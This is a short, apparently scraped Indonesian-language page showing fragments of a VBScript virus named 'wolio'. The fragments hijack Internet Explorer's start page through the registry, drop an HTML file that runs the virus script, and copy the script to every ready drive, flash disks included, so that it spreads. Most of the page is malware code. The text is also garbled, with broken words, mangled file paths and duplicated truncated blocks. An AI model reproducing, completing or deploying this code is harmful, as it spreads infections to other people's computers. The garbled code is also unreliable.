Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CUR RENT_USER\SOFTWARE\Microso ftInternet Explorer\Main\Start
Page”)<>”c:\windows\system 32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWAR E\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\syst...
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CUR
Page”)<>”c:\windows\system
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWAR
Page”,”c:\windows\syst...
virus membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:wind owssystem32wolio.html”,Tru e)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcom e to Wolio”)
filehtml.WriteLine(”fileht ml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
fileht...
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:wind
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcom
filehtml.WriteLine(”fileht
filehtml.WriteLine(””)
filehtml.WriteLine(””)
fileht...
virus ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.Fi leSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.Driv...
Sub serangan_drive()
Set fso = CreateObject(”Scripting.Fi
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.Driv...